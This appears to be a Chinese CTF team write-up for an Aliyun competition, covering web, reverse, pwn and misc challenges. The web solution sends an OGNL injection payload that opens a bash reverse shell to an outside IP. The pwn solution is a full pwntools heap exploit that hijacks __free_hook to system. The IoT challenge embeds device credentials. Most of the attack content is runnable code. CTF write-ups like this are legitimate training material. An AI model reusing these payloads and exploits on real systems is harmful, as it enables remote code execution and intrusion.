整理 & 询问几个师傅后做的
WEB
通向shell之路
import requests as req
from urllib.parse import quote
import base64
url = "http://120.55.13.151:8080/app/user/%s"
headers = {
"Accept": "application/json, text/plain, */*",
"Referer": "http://120.55.13.151:8080/app/",
"Connection": "close"}
payload = '(#r="a".getClass().forName("java.lang.Runtime")).(#m=#r.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#o=#m.invoke(null,null)).(#e=#r.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("[Ljava.lang.String;")}.{? #this.getParameters().length == 1}[0]).(#e.invoke(#o,new String[]{"sh","-c","echo %s |base64 -d|bash"}))' % base64.b64encode(b"bash -i >& /dev/tcp/118.X.X.164/2333 0>&1")
payload = "../../action/%s" % quote(quote(payload))
resp = req.get(url % payload.replace("/","%252F"), headers=headers)
RECERSE
字节码跳动
V8字节码,main→aaa→ccc
,可以直接去找对应func
的字节码
#include <stdio.h>
#include <stdint.h>
uint8_t enc[] = {
0x3e, 0xdd, 0x79, 0x25, 0xcd, 0x6e, 0x04, 0xab,
0x44, 0xf2, 0x5b, 0xef, 0x57, 0xbc, 0x53, 0xbd,
0x20, 0xb7, 0x4b, 0x8c, 0x11, 0xf8, 0x93, 0x09,
0x0f, 0xdc, 0xdf, 0xdd, 0xad, 0x07, 0x09, 0x10,
0x01, 0x00, 0xfe, 0x6a, 0x92, 0x30, 0x33, 0x32,
0x34, 0xfb, 0xae
};
void decrypt(uint8_t *enc, uint8_t *flag, int len) {
// Initialize variables
uint8_t r0 = enc[18];
uint8_t r1 = 159;
// Decrypt byte sequence
for (int i = len - 1; i >= 0; i--) {
if (i > 0 && i < 19) {
flag[i] = (enc[i] - enc[i - 1] - 51) % 256;
} else if (i == 0) {
flag[i] = (enc[i] - 170 - 51) % 256;
} else {
r1 ^= enc[i];
flag[i] = (enc[i] - r1) % 256;
}
}
}
int main() {
uint8_t flag[43] = {0};
decrypt(enc, flag, 43);
for (int i = 0; i < 43; i++) {
printf("%c ", flag[i]);
}
printf("\n");
return 0;
}
PWN
babyheap
rust pwn
有个后门
限制堆块大小0x200
,限制堆块数量不超过8,存在UAF漏洞
2.27版本下tcachebin attack
劫持free_hook
为system
,再通过free将'/bin/sh\x00'
作为rdi送入即可
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
# from ae64 import AE64
# from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"
name = './babyheap'
debug = 0
if debug:
p = remote('47.98.229.103',1337)
else:
p = process(name)
#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.27.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)
'''
binary = './pwn'
ip = '0.0.0.0'
port = 8888
#libcelf = './libc.so.6'
libcelf = '/lib/x86_64-linux-gnu/libc-2.31.so'
#ldfile = './ld.so'
ldfile = '/lib64/ld-linux-x86-64.so.2'
local = 1
armmips = 0
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
if armmips == 0:
if local:
if ldfile:
p = process([ldfile, binary], env={"LD_PRELOAD": libcelf})
libc = ELF(libcelf)
elif libcelf:
p = process([binary], env={"LD_PRELOAD": libcelf})
libc = ELF(libcelf)
else:
p = process(binary)
else:
p = remote(ip, port)
else:
if local:
if x64_32:
p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi", binary])
else:
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = remote(ip, port)
elf = ELF(binary)
'''
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
add_idx = 1
delete_idx = 4
show_idx = 2
edit_idx = 3
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss = elf.bss()
li('bss = '+hex(bss))
def choice(cho):
sla('>>> ',cho)
def add(size,content):
choice(add_idx)
sla('now the size: ',size)
p.sendlineafter('next the content: ',content)
def delete(idx):
choice(delete_idx)
sla('house index: ',idx)
def show(idx):
choice(show_idx)
sla('house index: ',idx)
def edit(idx,content):
choice(edit_idx)
sla('house index: ',idx)
p.sendlineafter(': ',content)
for i in range(8):
add(0x1f0,'a'*0x1f0)
for i in range(8):
delete(1953723762+7-i)
show(0)
libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ogg=[0x4f2a5,0x4f302,0x10a2fc]
og=libc_base+ogg[1]
pl=p64(free_hook)
pl+=pl.ljust(0x1f0,b'\x00')
edit(1,pl)
delete(7)
delete(6)
pl2=b'/bin/sh\x00\x00'
pl2+=pl2.ljust(0x1f0,b'\x00')
add(0x1f0,pl2)
pl3=p64(sys)
pl3+=pl3.ljust(0x1f0,b'\x00')
add(0x1f0,pl3)
delete(6)
itr()
#print('========================================================================================')
'''
def pwn():
if __name__ == '__main__':
pwn()
'''
#print('========================================================================================')
'''
bss = elf.bss()
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
syscall = libc_base + libc.sym['syscall']
gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]
'''
MISC
懂得都懂带带弟弟
https://github.com/nodejs/node/issues/18265
import('/flag');
消失的声波
有提到ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2
这个OSS云存储
直接访问http://iot2023.oss-cn-hangzhou.aliyuncs.com/
但是可以wget进行请求
https://help.aliyun.com/document_detail/261162.html
https://blog.csdn.net/m0_47722349/article/details/124303495
查找一下相关资料发现,连接这个oss需要一些参数
在文件里寻找一下这些关键信息
lk = linkkit.LinkKit(
host_name="cn-shanghai",
product_key="a1eAwsBKddO",
device_name="ncApIY2XV9NUIY4VpbGk",
device_secret="04845e512ead208b2437d970a154d69e")
然后后面那部分topic
要订阅和发送消息,稍稍修改一下:
import sys
from linkkit import linkkit
import threading
import traceback
import inspect
import time
import logging
__log_format = '%(asctime)s-%(process)d-%(thread)d - %(name)s:%(module)s:%(funcName)s - %(levelname)s - %(message)s'
logging.basicConfig(format=__log_format)
lk = linkkit.LinkKit(
host_name="cn-shanghai",
product_key="a1eAwsBKddO",
device_name="ncApIY2XV9NUIY4VpbGk",
device_secret="04845e512ead208b2437d970a154d69e")
lk.enable_logger(logging.DEBUG)
def on_device_dynamic_register(rc, value, userdata):
if rc == 0:
print("dynamic register device success, value:" + value)
else:
print("dynamic register device fail, message:" + value)
def on_connect(session_flag, rc, userdata):
print("on_connect:%d,rc:%d" % (session_flag, rc))
pass
def on_disconnect(rc, userdata):
print("on_disconnect:rc:%d,userdata:" % rc)
def on_topic_message(topic, payload, qos, userdata):
print("on_topic_message:" + topic + " payload:" + str(payload) + " qos:" + str(qos))
pass
def on_subscribe_topic(mid, granted_qos, userdata):
print("on_subscribe_topic mid:%d, granted_qos:%s" %
(mid, str(','.join('%s' % it for it in granted_qos))))
pass
def on_unsubscribe_topic(mid, userdata):
print("on_unsubscribe_topic mid:%d" % mid)
pass
def on_publish_topic(mid, userdata):
print("on_publish_topic mid:%d" % mid)
lk.on_device_dynamic_register = on_device_dynamic_register
lk.on_connect = on_connect
lk.on_disconnect = on_disconnect
lk.on_topic_message = on_topic_message
lk.on_subscribe_topic = on_subscribe_topic
lk.on_unsubscribe_topic = on_unsubscribe_topic
lk.on_publish_topic = on_publish_topic
lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()
lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()
while True:
try:
msg = input()
except KeyboardInterrupt:
sys.exit()
else:
if msg == "1":
lk.disconnect()
elif msg == "2":
lk.connect_async()
elif msg == "3":
rc, mid = lk.subscribe_topic(lk.to_full_topic("user/get"))
if rc == 0:
print("subscribe topic success:%r, mid:%r" % (rc, mid))
else:
print("subscribe topic fail:%d" % rc)
elif msg == "4":
rc, mid = lk.unsubscribe_topic(lk.to_full_topic("user/get"))
if rc == 0:
print("unsubscribe topic success:%r, mid:%r" % (rc, mid))
else:
print("unsubscribe topic fail:%d" % rc)
elif msg == "5":
rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{'id','flag'}")
if rc == 0:
print("publish topic success:%r, mid:%r" % (rc, mid))
else:
print("publish topic fail:%d" % rc)
elif msg == "8":
ret = lk.dump_user_topics()
print("user topics:%s", str(ret))
elif msg == "9":
lk.destruct()
print("destructed")
else:
sys.exit()
这个对python版本有限制,3.10及以上会报错。。。
而且怀疑阿里云这个iot平台有问题🤔发了好几次没通
OOBdetection
需要构建的数据只需要第一阶段的内容就够了,只需要知道变量、数组长度就足够了
然后需要测量的是第二段和第三段的访问是否合法,做键值对去记录它在初始化数据时的内容 同时在这个阶段也预处理做一下长度的校验
关键是第三部分的运算求解赋值,把前面的所有的全都搞一个字典存起来,然后在最后一行的话一直替换替换到替换到不包含字母为止,如果它还是包含字母的话就是no,如果全部能替换到的话,就判断它是否溢出。
import binascii
import re
import socket
import subprocess
import os
import subprocess
from hashlib import sha256
def tostr(shizi,num_dict,n_dict,x):
match = re.search(r'[a-z]', shizi)
bz = 0
while (match and bz < 10):
bz += 1
for i in num_dict:
if i in shizi:
shizi = shizi.replace(i, num_dict[i])
for i in n_dict:
if i in shizi:
shizi = shizi.replace(i, n_dict[i])
if 'x' in shizi and x != -123123:
shizi = shizi.replace('x', str(x))
match = re.search(r'[a-z]', shizi)
if bz == 10:
return 'unknown'
else:
return shizi
def panduan( qus):
n_dict = {}
max_dict={}
num_dict={}
double_dict=[0,0,0]
x=-123123
last=''
for line in qus.splitlines():
try:
line=line.replace(' ', '')
match = re.search(r'int\w\[(.*?)\]\[(.*?)\];', line)
if match:
tmp1=match.group(1)
tmp2 = match.group(2)
tmp1=tostr(tmp1,num_dict,n_dict,x)
tmp2=tostr(tmp2,num_dict,n_dict,x)
if tmp1=='unknown':
return 'unknown'
else:
double_dict[1]=eval(tmp1)
double_dict[2]=eval(tmp2)
match = re.search(r'\[(\d+)\]\[(\d+)\]=', line)
if match:
if int(match.group(1))<int(double_dict[1]) and int(match.group(2))<int(double_dict[2]):
return 'safe'
else:
return 'oob'
if 'int' in line and not re.search(r'\[(.*?)\]\[(.*?)\];', line):
match = re.search(r'intx=(\d+);', line)
if match:
x=int(match.group(1))
# 读取n、n1...
match=re.search(r'int(n\d*)=(\d+);',line)
if match:
n_dict.update({match.group(1): match.group(2)})
else:
#读取栈上限
match = re.search(r'int(\w)\[(n.*)\];', line)
if match:
max_dict.update({match.group(1): n_dict[match.group(2)]})
else:
match = re.search(r'int(\w)\[(\d+)\];', line)
if match:
max_dict.update({match.group(1): match.group(2)})
else:
match=re.search(r'(.*?)=(.*?);', line)
if match:
last = line
num_dict.update({match.group(1): match.group(2)})
match=re.search(r'(\w)\[(\d+)\]=.*?;', line)
if match:
if int(match.group(2))>=int(max_dict[match.group(1)]):
return 'oob'
except Exception as e:
print(e)
return 'oob'
match = re.search(r'(\w)\[(.*?)\]=.*?;', last)
if match:
zimu=match.group(1)
str1=match.group(2)
str1=tostr(str1,num_dict,n_dict,x)
# print(x)
# print(str1)
if str1=='unknown':
return str1
# print(str1)
try:
if eval(str1)>=int(max_dict[zimu]) or eval(str1)<0:
return 'oob'
else:
return 'safe'
except Exception as e:
return 'oob'
return 'unknown'
if __name__ == '__main__':
# 执行 nc 命令并获取其输出内容
remote_host = '47.98.209.191'
remote_port = 1337
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接远程主机的指定端口
sock.connect((remote_host, remote_port))
# 接收远程主机发送的数据
data1 = sock.recv(1024)
data=data1.decode('utf-8')
print(data)
str1=data[13:27]
str2=data[32:96]
print(str1)
print(str2)
answer=''
question=''
count=0;
data2 = sock.recv(1024)
for i in range(256):
for j in range(256):
for k in range(256):
a=i.to_bytes(1,byteorder='big')
b=j.to_bytes(1,byteorder='big')
c=k.to_bytes(1,byteorder='big')
# s = os.urandom(10)
s = a+b+c+bytes.fromhex(str1)
digest = sha256(s).hexdigest()
if digest == str2:
answer=s[:3].hex()
print('Answer is:',s[:3].hex())
break
else:
continue
break
else:
continue
break
answer = answer+'\n'
sock.send(answer.encode())
while True:
while True:
chunk = sock.recv(1024)
# print(chunk.decode('utf-8'))
# print(1)
if 'int' in chunk.decode('utf-8'):
question=chunk.decode('utf-8')
if 'safe/oob/' in chunk.decode('utf-8'):
# print(2)
break
if 'rong' in chunk.decode('utf-8'):
input()
# print(3)
count+=1;
answer = panduan(question)+'\n'
# print(answer.encode())
print(count)
sock.send(answer.encode())
if count>=300:
chunk = sock.recv(1024)
print(chunk.decode('utf-8'))
chunk = sock.recv(1024)
print(chunk.decode('utf-8'))
input()
# print('complate!')
#aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}